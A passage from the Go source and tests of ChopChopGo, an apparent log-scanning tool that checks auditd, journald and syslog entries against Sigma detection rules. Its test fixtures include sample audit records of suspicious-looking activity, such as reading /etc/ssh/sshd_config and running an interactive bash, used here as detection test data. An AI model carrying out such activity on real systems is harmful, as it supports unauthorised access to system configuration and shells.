Chop(rulePath, outputType, filePath, mappingPath string) error { auditdLogPath, err := FindLog(filePath) if err != nil { return fmt.Errorf("finding audit log: %w", err) } events, err := ParseEvents(auditdLogPath) if err != nil { return fmt.Errorf("parsing audit log: %w", err) } ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}}) if err != nil { return fmt.Errorf("loading ruleset: %w", err) } showProgress := outputType != "json" && outputType != "csv" var bar *progressbar.ProgressBar if showProgress { bar = progressbar.Default(int64(len(events))) } if mappingPath == "" { mappingPath = "mappings/auditd.yml" } m := mapping.LoadOrIdentity(mappingPath, "auditd") var results []output.ScanResult for _, event := range events { mapped := MappedAuditEvent{event, m} if res, match := ruleset.EvalAll(mapped); match { results = append(results, toScanResult(event, res)) } if showProgress { bar.Add(1) } } if err := output.Write(os.Stdout, outputType, results, auditdRenderer); err != nil { return fmt.Errorf("writing output: %w", err) } if showProgress { fmt.Printf("Processed %d auditd events\n", len(events)) } return nil } // ChopToLog is like Chop but calls log.Fatalf on error, for use from main. func ChopToLog(rulePath, outputType, filePath, mappingPath string) { if err := Chop(rulePath, outputType, filePath, mappingPath); err != nil { log.Fatalf("auditd: %v", err) } } ================================================ FILE: maps/auditd/auditd_test.go ================================================ package auditd import ( "bufio" "fmt" "os" "path/filepath" "strings" "testing" ) const testdataDir = "../../testdata" func TestParseEventsStandard(t *testing.T) { events, err := ParseEvents(filepath.Join(testdataDir, "auditd.log")) if err != nil { t.Fatalf("unexpected error: %v", err) } // 5 type= lines but lines 1-3 share seq 24287 and are merged into one. // Expected logical events: seq 24287, 24288, 24289 → 3 total. if len(events) != 3 { t.Errorf("expected 3 correlated events, got %d", len(events)) } first := events[0] if first.Type != "SYSCALL" { t.Errorf("expected type SYSCALL, got %q", first.Type) } if first.Data["exe"] != "/bin/cat" { t.Errorf("expected exe=/bin/cat, got %q", first.Data["exe"]) } if first.Data["pid"] != "3538" { t.Errorf("expected pid=3538, got %q", first.Data["pid"]) } if first.Data["auid"] != "1000" { t.Errorf("expected auid=1000, got %q", first.Data["auid"]) } if first.Data["timestamp"] == "" { t.Error("expected non-empty timestamp") } // Fields from the correlated CWD and PATH records should be merged in. if first.Data["cwd"] != "/home/user" { t.Errorf("expected cwd=/home/user (merged from CWD record), got %q", first.Data["cwd"]) } if first.Data["name"] != "/etc/ssh/sshd_config" { t.Errorf("expected name=/etc/ssh/sshd_config (merged from PATH record), got %q", first.Data["name"]) } } func TestParseEventsCorrelation(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "corr.log") // Three records sharing seq 99 — fields from later records fill in gaps. content := "" + "type=SYSCALL msg=audit(1000000000.000:99): pid=42 auid=1000 exe=\"/bin/bash\"\n" + "type=EXECVE msg=audit(1000000000.000:99): argc=2 a0=\"bash\" a1=\"-i\"\n" + "type=CWD msg=audit(1000000000.000:99): cwd=\"/root\"\n" + // Unrelated record with a different seq. "type=SYSCALL msg=audit(1000000001.000:100): pid=7 auid=0 exe=\"/usr/bin/id\"\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 2 { t.Fatalf("expected 2 correlated events, got %d", len(events)) } e := events[0] if e.Type != "SYSCALL" { t.Errorf("first event type: got %q, want SYSCALL", e.Type) } if e.Data["exe"] != "/bin/bash" { t.Errorf("exe: got %q, want /bin/bash", e.Data["exe"]) } if e.Data["argc"] != "2" { t.Errorf("argc (from EXECVE): got %q, want 2", e.Data["argc"]) } if e.Data["cwd"] != "/root" { t.Errorf("cwd (from CWD): got %q, want /root", e.Data["cwd"]) } // SYSCALL exe must win over any exe on later records. if events[1].Data["exe"] != "/usr/bin/id" { t.Errorf("second event exe: got %q, want /usr/bin/id", events[1].Data["exe"]) } } func TestParseEventsSkipsNonTypeLines(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "test.log") content := "not a type line\nsome other content\n" + "type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=2 pid=100 exe=/bin/sh auid=0\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 1 { t.Errorf("expected 1 event, got %d", len(events)) } } func TestParseEventsEmpty(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "empty.log") if err := os.WriteFile(f, []byte(""), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 0 { t.Errorf("expected 0 events, got %d", len(events)) } } func TestParseEventsBadTimestampDoesNotPanic(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "bad.log") // msg field does not contain an audit(...) timestamp content := "type=SYSCALL msg=notaudit(bad): arch=c000003e\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } defer func() { if r := recover(); r != nil { t.Errorf("ParseEvents panicked on bad timestamp: %v", r) } }() // Must not panic; the line with a bad timestamp is skipped events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } // The SYSCALL line has no valid audit(...) timestamp — it should be // handled without panicking (event will be stored without a timestamp). _ = events } func TestParseEventsTimestampConversion(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "ts.log") // Unix timestamp 0 should become 1970-01-01T00:00:00Z content := "type=SYSCALL msg=audit(0.000:1): arch=c000003e syscall=2 pid=1 auid=0\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) == 0 { t.Fatal("expected 1 event") } if events[0].Data["timestamp"] != "1970-01-01T00:00:00Z" { t.Errorf("unexpected timestamp: %q", events[0].Data["timestamp"]) } } func TestAuditEventSelect(t *testing.T) { e := AuditEvent{ Type: "SYSCALL", Data: map[string]string{ "exe": "/bin/bash", "pid": "1234", }, } if v, ok := e.Select("type"); !ok || v != "SYSCALL" { t.Errorf("Select(type): got %v, ok=%v", v, ok) } if v, ok := e.Select("exe"); !ok || v != "/bin/bash" { t.Errorf("Select(exe): got %v, ok=%v", v, ok) } if v, ok := e.Select("pid"); !ok || v != "1234" { t.Errorf("Select(pid): got %v, ok=%v", v, ok) } if _, ok := e.Select("nonexistent"); ok { t.Error("Select(nonexistent) should return false") } } func TestAuditEventKeywords(t *testing.T) { e := AuditEvent{ Type: "EXECVE", Data: map[string]string{"exe": "/bin/bash", "pid": "1234"}, } keywords, ok := e.Keywords() if !ok { t.Error("Keywords() should return true") } found := false for _, k := range keywords { if k == "EXECVE" { found = true } } if !found { t.Errorf("Keywords() should contain the event type; got %v", keywords) } // Data keys should also appear foundKey := false for _, k := range keywords { if strings.Contains(k, "exe") { foundKey = true } } if !foundKey { t.Errorf("Keywords() should contain data keys; got %v", keywords) } } func TestParseLineQuoting(t *testing.T) { cases := []struct { line string key string want string }{ // double-quoted value {`type=SYSCALL msg=audit(0.000:1): exe="/bin/cat"`, "exe", "/bin/cat"}, // single-quoted value (USER_AUTH style) {`type=USER_AUTH msg=audit(0.000:1): msg='op=PAM acct="root" res=failed'`, "msg", `op=PAM acct="root" res=failed`}, // unquoted value {`type=SYSCALL msg=audit(0.000:1): pid=1234`, "pid", "1234"}, // bare parens — not a quote {`type=SYSCALL msg=audit(0.000:1): exit=(null)`, "exit", "(null)"}, } for _, c := range cases { event := parseLine(c.line) if got := event[c.key]; got != c.want { t.Errorf("parseLine key %q: got %q, want %q", c.key, got, c.want) } } } func TestParseEventsStripsQuotes(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "audit.log") // exe and comm are quoted in real auditd logs content := "type=SYSCALL msg=audit(1364481363.243:1): arch=c000003e syscall=59 pid=100 auid=0 exe=\"/bin/bash\" comm=\"bash\" key=\"susp_activity\"\n" if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != 1 { t.Fatalf("expected 1 event, got %d", len(events)) } e := events[0] if e.Data["exe"] != "/bin/bash" { t.Errorf("exe: got %q, want /bin/bash", e.Data["exe"]) } if e.Data["comm"] != "bash" { t.Errorf("comm: got %q, want bash", e.Data["comm"]) } if e.Data["key"] != "susp_activity" { t.Errorf("key: got %q, want susp_activity", e.Data["key"]) } } func TestFindLogWithExistingFile(t *testing.T) { tmp := t.TempDir() f := filepath.Join(tmp, "audit.log") if err := os.WriteFile(f, []byte(""), 0600); err != nil { t.Fatal(err) } result, err := FindLog(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if result != f { t.Errorf("expected %q, got %q", f, result) } } func TestFindLogMissingFile(t *testing.T) { _, err := FindLog("/nonexistent/path/to/audit.log") if err == nil { t.Error("expected error for missing file") } } // representativeLine is a realistic auditd SYSCALL line with quoted fields and // a long argument list — the kind of line the parser sees most often. const representativeLine = `type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=59 success=yes exit=0 a0=7f1234 a1=7f5678 a2=7f9abc a3=0 items=2 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="bash" exe="/bin/bash" key="susp_exec"` // TestParseEventsWindowBoundary verifies that flushing the sliding window does // not drop events or split correlated groups. It generates more than windowSize // distinct sequence numbers, each with two correlated records, and asserts that // every group arrives complete and in order. func TestParseEventsWindowBoundary(t *testing.T) { total := windowSize*2 + 5 // well beyond one window flush cycle tmp := t.TempDir() f := filepath.Join(tmp, "window.log") var sb strings.Builder for i := 0; i < total; i++ { // Two records per logical event sharing the same seq. fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): pid=%d auid=1000 exe=\"/bin/sh\"\n", i, i+100) fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=1 a0=\"sh\"\n", i) } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { t.Fatal(err) } events, err := ParseEvents(f) if err != nil { t.Fatalf("unexpected error: %v", err) } if len(events) != total { t.Fatalf("expected %d events, got %d", total, len(events)) } for i, e := range events { // Each merged event must carry fields from both records. wantPID := fmt.Sprintf("%d", i+100) if e.Data["pid"] != wantPID { t.Errorf("event %d: pid=%q, want %q", i, e.Data["pid"], wantPID) } if e.Data["argc"] != "1" { t.Errorf("event %d: argc=%q (EXECVE field missing after window flush)", i, e.Data["argc"]) } } } // BenchmarkTokenizeParseLine measures the tokenizer-based parsing kernel. func BenchmarkTokenizeParseLine(b *testing.B) { line := representativeLine b.ResetTimer() for i := 0; i < b.N; i++ { _ = parseLine(line) } } // BenchmarkParseEvents measures end-to-end throughput on a 10 000-line log // where all lines share the same sequence number (one giant correlated group). func BenchmarkParseEvents(b *testing.B) { tmp := b.TempDir() f := filepath.Join(tmp, "bench.log") var sb strings.Builder for i := 0; i < 10_000; i++ { sb.WriteString(representativeLine) sb.WriteByte('\n') } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { b.Fatal(err) } b.ResetTimer() for i := 0; i < b.N; i++ { if _, err := ParseEvents(f); err != nil { b.Fatal(err) } } } // parseEventsOld is the pre-window full-buffering implementation kept only for // benchmark comparison. It accumulates every group and seq in memory before // returning — O(total records) peak allocation. func parseEventsOld(logFile string) ([]AuditEvent, error) { file, err := os.Open(logFile) if err != nil { return nil, err } defer file.Close() var seqOrder []string groups := make(map[string]map[string]string) standalone := 0 scanner := bufio.NewScanner(file) for scanner.Scan() { line := scanner.Text() if !strings.HasPrefix(line, "type=") { continue } data := parseLine(line) if len(data) == 0 { continue } seq := data["seq"] if seq == "" { seq = fmt.Sprintf("__solo_%d", standalone) standalone++ } if _, exists := groups[seq]; !exists { seqOrder = append(seqOrder, seq) groups[seq] = make(map[string]string, len(data)) } g := groups[seq] for k, v := range data { if _, exists := g[k]; !exists { g[k] = v } } } if err := scanner.Err(); err != nil { return nil, err } events := make([]AuditEvent, 0, len(seqOrder)) for _, seq := range seqOrder { g := groups[seq] events = append(events, AuditEvent{Type: g["type"], Data: g}) } return events, nil } // BenchmarkParseEventsManySeqsOld is the baseline: old full-buffering approach. func BenchmarkParseEventsManySeqsOld(b *testing.B) { const numEvents = 100_000 tmp := b.TempDir() f := filepath.Join(tmp, "manyseqs_old.log") var sb strings.Builder for i := 0; i < numEvents; i++ { fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\"/bin/bash\" comm=\"bash\" key=\"exec\"\n", i, i+1000) fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=2 a0=\"bash\" a1=\"-c\"\n", i) } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { b.Fatal(err) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { if _, err := parseEventsOld(f); err != nil { b.Fatal(err) } } } // BenchmarkParseEventsManySeqs stresses the sliding-window path: 100 000 // distinct events, each with a SYSCALL + EXECVE record pair. This is the // workload where the old full-buffering approach accumulated O(N) groups in // memory; the window keeps at most windowSize groups live at any time. func BenchmarkParseEventsManySeqs(b *testing.B) { const numEvents = 100_000 tmp := b.TempDir() f := filepath.Join(tmp, "manyseqs.log") var sb strings.Builder for i := 0; i < numEvents; i++ { fmt.Fprintf(&sb, "type=SYSCALL msg=audit(1000000000.000:%d): arch=c000003e syscall=59 pid=%d auid=1000 uid=1000 exe=\"/bin/bash\" comm=\"bash\" key=\"exec\"\n", i, i+1000) fmt.Fprintf(&sb, "type=EXECVE msg=audit(1000000000.000:%d): argc=2 a0=\"bash\" a1=\"-c\"\n", i) } if err := os.WriteFile(f, []byte(sb.String()), 0600); err != nil { b.Fatal(err) } b.ResetTimer() b.ReportAllocs() for i := 0; i < b.N; i++ { if _, err := ParseEvents(f); err != nil { b.Fatal(err) } } } ================================================ FILE: maps/journald/journald.go ================================================ //go:build linux package journald import ( "fmt" "log" "os" "strings" "time" sigma "github.com/M00NLIG7/go-sigma-rule-engine" "github.com/M00NLIG7/ChopChopGo/maps/mapping" "github.com/M00NLIG7/ChopChopGo/maps/output" "github.com/coreos/go-systemd/v22/sdjournal" "github.com/schollz/progressbar/v3" ) // JournaldEvent represents a single entry from the systemd journal. type JournaldEvent struct { Message string Timestamp string } // Keywords satisfies the sigma.Event interface. func (e JournaldEvent) Keywords() ([]string, bool) { return []string{e.Message}, true } // Select satisfies the sigma.Event interface. func (e JournaldEvent) Select(name string) (interface{}, bool) { switch name { case "message": return e.Message, true case "timestamp": return e.Timestamp, true default: return nil, false } } // MappedJournaldEvent wraps a JournaldEvent with field-name translation so that // Sigma rules written with generic field names are resolved to journald-native // names before Select is called. type MappedJournaldEvent struct { JournaldEvent m *mapping.Mapping } func (e MappedJournaldEvent) Keywords() ([]string, bool) { return e.JournaldEvent.Keywords() } func (e MappedJournaldEvent) Select(name string) (interface{}, bool) { return e.JournaldEvent.Select(e.m.Resolve(name)) } // ParseEvents reads all entries from the live systemd journal. // Journald uses a binary format that requires the systemd API; reading from // an arbitrary file path is not supported. func ParseEvents() ([]JournaldEvent, error) { j, err := sdjournal.NewJournal() if err != nil { return nil, fmt.Errorf("opening journal: %w", err) } defer j.Close() if err := j.SeekHead(); err != nil { return nil, fmt.Errorf("seeking journal head: %w", err) } var events []JournaldEvent for { n, err := j.Next() if err != nil { return nil, fmt.Errorf("reading journal entry: %w", err) } if n == 0 { break } message, _ := j.GetData("MESSAGE") // Strip the "MESSAGE=" prefix that sdjournal includes in the value. message = strings.TrimPrefix(message, "MESSAGE=") usec, err := j.GetRealtimeUsec() if err != nil { return nil, fmt.Errorf("reading entry timestamp: %w", err) } ts := time.Unix(0, int64(usec)*int64(time.Microsecond)).UTC().Format(time.RFC3339) events = append(events, JournaldEvent{ Message: message, Timestamp: ts, }) } return events, nil } var journaldRenderer = output.Renderer{ Headers: []string{"Timestamp", "Message", "Tags", "Author"}, Row: func(r output.ScanResult) []string { return []string{r.Timestamp, r.Message, output.TagString(r.Tags), r.Author} }, } // Chop scans the live systemd journal against Sigma rules and writes results // to stdout. Passing a file path is not supported because the journal uses a // binary format that requires the systemd API. // mappingPath overrides the default mappings/journald.yml when non-empty. func Chop(rulePath, outputType, mappingPath string) error { events, err := ParseEvents() if err != nil { return fmt.Errorf("reading journal: %w", err) } ruleset, err := sigma.NewRuleset(sigma.Config{Directory: []string{rulePath}}) if err != nil { return fmt.Errorf("loading ruleset: %w", err) } showProgress := outputType != "json" && outputType != "csv" var bar *progressbar.ProgressBar if showProgress { bar = progressbar.Default(int64(len(events))) } if mappingPath == "" { mappingPath = "mappings/journald.yml" } m := mapping.LoadOrIdentity(mappingPath, "journald") var results []output.ScanResult for _, event := range events { mapped := MappedJournaldEvent{event, m} if res, match := ruleset.EvalAll(mapped); match { results = append(results, output.ScanResult{ Timestamp: event.Timestamp, Message: event.Message, Tags: res[0].Tags, Author: res[0].Author, RuleID: res[0].ID, Title: res[0].Title, }) } if showProgress { bar.Add(1) } } if err := output.Write(os.Stdout, outputType, results, journaldRenderer); err != nil { return fmt.Errorf("writing output: %w", err) } if showProgress { fmt.Printf("Processed %d journald events\n", len(events)) } return nil } // ChopToLog is like Chop but calls log.Fatalf on error, for use from main. func ChopToLog(rulePath, outputType, mappingPath string) { if err := Chop(rulePath, outputType, mappingPath); err != nil { log.Fatalf("journald: %v", err) } } ================================================ FILE: maps/journald/journald_test.go ================================================ //go:build linux package journald import ( "strings" "testing" ) func TestJournaldEventSelectMessage(t *testing.T) { e := JournaldEvent{ Message: "Started Network Manager.", Timestamp: "2023-03-01T10:00:00Z", } v, ok := e.Select("message") if !ok { t.Fatal("Select(message) should return true") } if v != "Started Network Manager." { t.Errorf("unexpected message value: %v", v) } } func TestJournaldEventSelectTimestamp(t *testing.T) { e := JournaldEvent{ Message: "test", Timestamp: "2023-03-01T10:00:00Z", } v, ok := e.Select("timestamp") if !ok { t.Fatal("Select(timestamp) should return true") } if v != "2023-03-01T10:00:00Z" { t.Errorf("unexpected timestamp value: %v", v) } } func TestJournaldEventSelectUnknown(t *testing.T) { e := JournaldEvent{Message: "test", Timestamp: "2023-03-01T10:00:00Z"} if _, ok := e.Select("nonexistent"); ok { t.Error("Select(nonexistent) should return false") } } func TestJournaldEventKeywords(t *testing.T) { e := JournaldEvent{ Message: "kernel: EXT4-fs error on device sda1", Timestamp: "2023-03-01T10:00:00Z", } keywords, ok := e.Keywords() if !ok { t.Error("Keywords() should return true") } found := false for _, k := range keywords { if strings.Contains(k, "EXT4-fs") { found = true } } if !found { t.Errorf("Keywords() should contain message content; got %v", keywords) } } ================================================ FILE: maps/journald/stub.go ================================================ //go:build !linux package journald import ( "fmt" "log" ) // Chop is not supported on non-Linux platforms because journald is Linux-only. func Chop(rulePath, outputType, mappingPath string) error { return fmt.Errorf("journald is not supported on this platform") } // ChopToLog is like Chop but calls log.Fatalf on error, for use from main. func ChopToLog(rulePath, outputType, mappingPath string) { if err := Chop(rulePath, outputType, mappingPath); err != nil { log.Fatalf("journald: %v", err) } } ================================================ FILE: maps/mapping/mapping.go ================================================ // Package mapping loads YAML field-mapping files and translates Sigma rule // field names into log-source-native field names. // // This decouples Sigma rule field references from the actual field names in // each log format, allowing community rules written for different schemas to // work without modifying the rules or recompiling the binary. package mapping import ( "fmt" "os" "gopkg.in/yaml.v2" ) // Mapping holds the translation table for one log source. type Mapping struct { Source string `yaml:"source"` Fields map[string]string `yaml:"fields"` } // Load reads and parses a mapping YAML file. func Load(path string) (*Mapping, error) { data, err := os.ReadFile(path) if err != nil { return nil, fmt.Errorf("reading mapping file %q: %w", path, err) } var m Mapping if err := yaml.Unmarshal(data, &m); err != nil { return nil, fmt.Errorf("parsing mapping file %q: %w", path, err) } if m.Fields == nil { m.Fields = make(map[string]string) } return &m, nil } // Identity returns a pass-through mapping that leaves all field names unchanged. func Identity(source string) *Mapping { return &Mapping{Source: source, Fields: make(map[string]string)} } // Resolve translates a Sigma field name to the log-native field name. // If no translation exists the original name is returned unchanged, so // rules that already use native field names continue to work. func (m *Mapping) Resolve(sigmaField string) string { if native, ok := m.Fields[sigmaField]; ok { return native } return sigmaField } // LoadOrIdentity attempts to load the mapping file at path. If the file does // not exist it silently returns an identity mapping so callers do not need to // handle the missing-file case explicitly. func LoadOrIdentity(path, source string) *Mapping { m, err := Load(path) if err != nil { return Identity(source) } return m } ================================================ FILE: maps/mapping/mapping_test.go ================================================ package mapping import ( "os" "path/filepath" "testing" ) func writeTempMapping(t *testing.T, content string) string { t.Helper() f := filepath.Join(t.TempDir(), "test.yml") if err := os.WriteFile(f, []byte(content), 0600); err != nil { t.Fatal(err) } return f } func TestLoadValid(t *testing.T) { path := writeTempMapping(t, ` source: auditd fields: CommandLine: exe ProcessId: pid User: auid `) m, err := Load(path) if err != nil { t.Fatalf("unexpected error: %v", err) } if m.Source != "auditd" { t.Errorf("source: got %q, want auditd", m.Source) } if len(m.Fields) != 3 { t.Errorf("fields count: got %d, want 3", len(m.Fields)) } } func TestLoadMissingFile(t *testing.T) { _, err := Load("/nonexistent/mapping.yml") if err == nil { t.Error("expected error for missing file") } } func TestLoadInvalidYAML(t *testing.T) { // An unclosed flow mapping is a YAML parse error in yaml.v2. path := writeTempMapping(t, "fields: {unclosed") _, err := Load(path) if err == nil { t.Error("expected error for invalid YAML") } } func TestLoadEmptyFields(t *testing.T) { path := writeTempMapping(t, "source: syslog\n") m, err := Load(path) if err != nil { t.Fatalf("unexpected error: %v", err) } // Fields should be initialised to an empty map, not nil if m.Fields == nil { t.Error("Fields should not be nil after loading empty mapping") } } func TestResolveKnownField(t *testing.T) { m := &Mapping{Fields: map[string]string{"CommandLine": "exe", "ProcessId": "pid"}} if got := m.Resolve("CommandLine"); got != "exe" { t.Errorf("Resolve(CommandLine): got %q, want exe", got) } if got := m.Resolve("ProcessId"); got != "pid" { t.Errorf("Resolve(ProcessId): got %q, want pid", got) } } func TestResolveUnknownFieldPassthrough(t *testing.T) { m := &Mapping{Fields: map[string]string{"CommandLine": "exe"}} // Unknown sigma field names fall through to the original name if got := m.Resolve("auid"); got != "auid" { t.Errorf("Resolve(auid): got %q, want auid (passthrough)", got) } if got := m.Resolve("type"); got != "type" { t.Errorf("Resolve(type): got %q, want type (passthrough)", got) } } func TestIdentity(t *testing.T) { m := Identity("syslog") if m.Source != "syslog" { t.Errorf("source: got %q, want syslog", m.Source) } // Identity mapping is a passthrough for all fields if got := m.Resolve("anything"); got != "anything" { t.Errorf("identity Resolve(anything): got %q, want anything", got) } } func TestLoadOrIdentityMissingFile(t *testing.T) { m := LoadOrIdentity("/nonexistent/mapping.yml", "auditd") if m.Source != "auditd" { t.Errorf("source: got %q, want auditd", m.Source) } // Should behave as identity if got := m.Resolve("exe"); got != "exe" { t.Errorf("LoadOrIdentity passthrough failed: got %q", got) } } func TestLoadOrIdentityValidFile(t *testing.T) { path := writeTempMapping(t, "source: auditd\nfields:\n CommandLine: exe\n") m := LoadOrIdentity(path, "auditd") if got := m.Resolve("CommandLine"); got != "exe" { t.Errorf("Resolve after LoadOrIdentity: got %q, want exe", got) } } func TestRealMappingFiles(t *testing.T) { cases := []struct { file string source string }{ {"../../mappings/auditd.yml", "auditd"}, {"../../mappings/syslog.yml", "syslog"}, {"../../mappings/journald.yml", "journald"}, } for _, c := range cases { m, err := Load(c.file) if err != nil { t.Errorf("Load(%s): %v", c.file, err) continue } if m.Source != c.source { t.Errorf("%s source: got %q, want %q", c.file, m.Source, c.source) } } } ================================================ FILE: maps/output/output.go ================================================ package output import ( "encoding/csv" "encoding/json" "fmt" "io" "strings" "github.com/olekukonko/tablewriter" ) // ScanResult is the common result produced by all log mappers after evaluating Sigma rules. type ScanResult struct { Timestamp string `json:"Timestamp"` Message string `json:"Message,omitempty"` User string `json:"User,omitempty"` Exe string `json:"Exe,omitempty"` Terminal string `json:"Terminal,omitempty"` PID string `json:"PID,omitempty"` Tags []string `json:"Tags"` Author string `json:"Author"` RuleID string `json:"ID"` Title string `json:"Title"` } // Renderer defines the table/CSV columns for a specific log type. // JSON output always serialises the full ScanResult struct. type Renderer struct { Headers []string Row func(ScanResult) []string } // Write renders results in the requested format to w. // outputType must be "json", "csv", or any other value for a table. func Write(w io.Writer, outputType string, results []ScanResult, r Renderer) error { switch outputType { case "json": return writeJSON(w, results) case "csv": return writeCSV(w, results, r) default: writeTable(w, results, r) return nil } } func writeJSON(w io.Writer, results []ScanResult) error { enc := json.NewEncoder(w) enc.SetIndent("", " ") if err := enc.Encode(results); err != nil { return fmt.Errorf("encoding JSON: %w", err) } return nil } func writeCSV(w io.Writer, results []ScanResult, r Renderer) error { cw := csv.NewWriter(w) if err := cw.Write(r.Headers); err != nil { return fmt.Errorf("writing CSV header: %w", err) } for _, res := range results { if err := cw.Write(r.Row(res)); err != nil { return fmt.Errorf("writing CSV row: %w", err) } } cw.Flush() return cw.Error() } func writeTable(w io.Writer, results []ScanResult, r Renderer) { table := tablewriter.NewWriter(w) table.SetHeader(r.Headers) for _, res := range results { table.Append(r.Row(res)) } table.Render() } // TagString joins tags with a dash, matching the original output format. func TagString(tags []string) string { return strings.Join(tags, "-") } ================================================ FILE: maps/output/output_test.go ================================================ package output import ( "bytes" "encoding/json" "strings" "testing" ) var testRenderer = Renderer{ Headers: []string{"Timestamp", "Message", "Tags", "Author", "ID", "Title"}, Row: func(r ScanResult) []string { return []string{r.Timestamp, r.Message, TagString(r.Tags), r.Author, r.RuleID, r.Title} }, } var sampleResults = []ScanResult{ { Timestamp: "2023-01-01T00:00:00Z", Message: "test message", User: "1000", Tags: []string{"attack.execution", "attack.t1059"}, Author: "Test Author", RuleID: "abc-123", Title: "Test Rule", }, } func TestWriteJSON(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "json", sampleResults, testRenderer); err != nil { t.Fatalf("unexpected error: %v", err) } var out []ScanResult if err := json.Unmarshal(buf.Bytes(), &out); err != nil { t.Fatalf("invalid JSON output: %v", err) } if len(out) != 1 { t.Fatalf("expected 1 result, got %d", len(out)) } if out[0].Title != "Test Rule" { t.Errorf("expected Title=Test Rule, got %q", out[0].Title) } if out[0].RuleID != "abc-123" { t.Errorf("expected RuleID=abc-123, got %q", out[0].RuleID) } if len(out[0].Tags) != 2 { t.Errorf("expected 2 tags, got %d", len(out[0].Tags)) } } func TestWriteJSONEmpty(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "json", []ScanResult{}, testRenderer); err != nil { t.Fatalf("unexpected error: %v", err) } trimmed := strings.TrimSpace(buf.String()) if trimmed != "[]" { t.Errorf("expected [] for empty results, got %q", trimmed) } } func TestWriteCSV(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "csv", sampleResults, testRenderer); err != nil { t.Fatalf("unexpected error: %v", err) } lines := strings.Split(strings.TrimSpace(buf.String()), "\n") if len(lines) != 2 { t.Fatalf("expected header + 1 data row, got %d lines", len(lines)) } if !strings.Contains(lines[0], "Timestamp") { t.Errorf("CSV header missing Timestamp: %q", lines[0]) } if !strings.Contains(lines[1], "Test Rule") { t.Errorf("CSV row missing title: %q", lines[1]) } // Tags should be joined with dash if !strings.Contains(lines[1], "attack.execution-attack.t1059") { t.Errorf("CSV tags not joined with dash: %q", lines[1]) } } func TestWriteCSVEmpty(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "csv", []ScanResult{}, testRenderer); err != nil { t.Fatalf("unexpected error: %v", err) } // Should at minimum write the header if !strings.Contains(buf.String(), "Timestamp") { t.Errorf("empty CSV should still contain header, got: %q", buf.String()) } } func TestWriteTable(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "table", sampleResults, testRenderer); err != nil { t.Fatalf("unexpected error: %v", err) } out := buf.String() if !strings.Contains(out, "TIMESTAMP") { t.Errorf("table missing TIMESTAMP header, got: %q", out) } if !strings.Contains(out, "Test Rule") { t.Errorf("table missing rule title, got: %q", out) } } func TestWriteUnknownTypeDefaultsToTable(t *testing.T) { var buf bytes.Buffer if err := Write(&buf, "unknown", sampleResults, testRenderer); err != nil { t.Fatalf("unexpected error for unknown output type: %v", err) } if buf.Len() == 0 { t.Error("expected non-empty output for unknown type (should render table)") } } func TestTagString(t *testing.T) { if TagString([]string{"a", "b", "c"}) != "a-b-c" { t.Error("TagString should join with dash") } if TagString([]string{}) != "" { t.Error("TagString of empty slice should return empty string") } if TagString([]string{"only"}) != "only" { t.Error("TagString of single element should return that element") } } ================================================ FILE: maps/syslog/syslog.go ================================================ package syslog import ( "bufio" "fmt" "log" "os" "strings" sigma "github.com/M00NLIG7/go-sigma-rule-engine" "github.com/M00NLIG7/ChopChopGo/maps/mapping" "github.com/M00NLIG7/ChopChopGo/maps/output" "github.com/schollz/progressbar/v3" ) func isAlpha(b byte) bool { return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') } func isDigit(b byte) bool { return b >= '0' && b <= '9' } // parseSyslogTimestamp extracts the leading timestamp from a syslog line without // regex, eliminating the []string submatch allocation on every line. // It recognises two formats: // // - BSD syslog: "Mon DD HH:MM:SS" (exactly 15 bytes, space-padded day) // - rsyslog/ISO8601: "YYYY-…" terminated by the first space // // Returns the timestamp substring and its byte length. Returns ("", 0) when // the line does not match either format. func parseSyslogTimestamp(line string) (ts string, n int) { // BSD syslog: "Mon DD HH:MM:SS" — 15 bytes, fixed structure. if len(line) >= 15 && isAlpha(line[0]) && isAlpha(line[1]) && isAlpha(line[2]) && // Mon line[3] == ' ' && (line[4] == ' ' || isDigit(line[4])) && isDigit(line[5]) && // DD (space-padded) line[6] == ' ' && isDigit(line[7]) && isDigit(line[8]) && line[9] 